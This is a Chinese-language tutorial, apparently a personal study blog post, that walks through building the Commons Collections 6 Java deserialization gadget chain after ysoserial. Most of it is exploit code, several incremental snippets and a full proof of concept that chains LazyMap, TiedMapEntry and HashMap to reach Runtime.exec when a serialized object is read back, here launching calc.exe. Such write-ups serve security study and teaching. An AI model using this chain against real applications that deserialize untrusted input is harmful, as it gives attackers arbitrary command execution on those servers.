CC6
依赖
| 12
 3
 4
 5
 6
 7
 8
 
 | <dependencies><!-- https:
 <dependency>
 <groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.2.1</version>
 </dependency>
 </dependencies>
 
 | 
准备

可以看着那个ysoserial的顺序推:
ysoserial/src/main/java/ysoserial/payloads/CommonsCollections6.java at master · frohoff/ysoserial
好处是不限制JDK版本也不限制CC的版本,比较万能。
编写
首先是LazyMap的get调用ChainedTransformer的transform

然后ChainedTransformer再继续调用InvokerTransformer的transform

再调用Method的invoke

然后调用Runtime的exec
我们就可以先写Poc:
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | Transformer[] transformers = {new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
 lazyMap.get("test");
 
 | 
测试命令执行。
然后继续往前,寻找哪里使用了这个get方法

然后找getValue

hashCode调用
TiedMapEntry是直接实例化就可以赋值

然后修改poc:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | Transformer[] transformers = {new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "natro92");
 tiedMapEntry.hashCode();
 
 | 
可以命令执行。
然后继续找下去,hash调用了hashCode


再找put

然后就是readObject
就可以继续编写下去:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | Transformer[] transformers = {new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "natro92");
 
 HashMap<Object, Object> hashMap = new HashMap<>();
 hashMap.put(tiedMapEntry, "natro92");
 
 | 
这里的HashMap的put会导致提前调用hash,会在序列化前命令执行。可以新建LazyMap对象传入个Transformer对象,再通过反射改回。
但是这里并没有弹出计算器,我们断点进去看看。

如果map没包含这个key,就给map传入这个键值对,如果map已经存在这个key就不会执行这里。
所以需要将hashMap的put执行后将lazyMap的key删除掉。
这里说实话,我没太理解。
但是remove了之后确实可以😵。
完整Poc:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 
 | package com.natro92;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import javassist.ClassPool;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.Field;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.PriorityQueue;
 
 public class CC6Test {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "2");
 
 HashMap<Object, Object> hashMap = new HashMap<>();
 hashMap.put(tiedMapEntry, "3");
 
 lazyMap.remove("2");
 setFieldValue(lazyMap, "factory", chainedTransformer);
 
 serialize(hashMap);
 deserialize("secret.bin");
 }
 
 
 public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
 Class<? extends Object> _class = object.getClass();
 Field declaredField = _class.getDeclaredField(fieldName);
 declaredField.setAccessible(true);
 declaredField.set(object, value);
 }
 
 
 public static void serialize(Object object) throws Exception {
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin")));
 objectOutputStream.writeObject(object);
 }
 
 
 public static Object deserialize(String fileName) throws Exception {
 ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName)));
 return objectInputStream.readObject();
 }
 }
 
 
 | 
